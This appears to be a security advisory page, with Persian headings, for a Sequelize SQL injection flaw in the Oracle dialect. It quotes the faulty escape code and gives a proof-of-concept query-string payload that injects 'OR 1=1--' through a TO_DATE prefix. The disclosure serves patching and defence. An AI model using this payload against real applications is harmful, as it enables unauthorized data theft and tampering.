نسخههای متأثر
npmsequelize
- نسخههای متأثر
- < 6.37.4
- نسخهٔ اصلاحشده
- 6.37.4
- نسخههای متأثر
- نامشخص
- نسخهٔ اصلاحشده
- اعلام نشده
- نسخههای متأثر
- نامشخص
- نسخهٔ اصلاحشده
- اعلام نشده
- نسخههای متأثر
- نامشخص
- نسخهٔ اصلاحشده
- اعلام نشده
بهرهبرداری
شرح آسیبپذیری
Summary
SQL Injection is possible with strings only if dialect is set to oracle.
The vulnerability was confirmed on Sequelize v6.37.3.
Details
The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.
} else if (dialect === 'oracle' && typeof val === 'string') {
if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
return val;
}
val = val.replace(/'/g, "''");
}
PoC
Suppose the application has the following code:
var result = await models.Student.findOne({
where: {
firstName: req.query.firstName
}
});
An attacker can inject arbitrary sql expressions.
http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--
The resulted SQL will be:
SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact
Data theft and tampering.
پیوندها
- https://github.com/advisories/GHSA-v8fg-2rw7-q452
- https://github.com/sequelize/sequelize
- https://github.com/sequelize/sequelize/commit/5deadd2410ae9136a21fb652db206d27bb715f26
- https://github.com/sequelize/sequelize/releases/tag/v6.37.4
- https://github.com/sequelize/sequelize/security/advisories/GHSA-v8fg-2rw7-q452
گزارشدهندگان
- t-tera

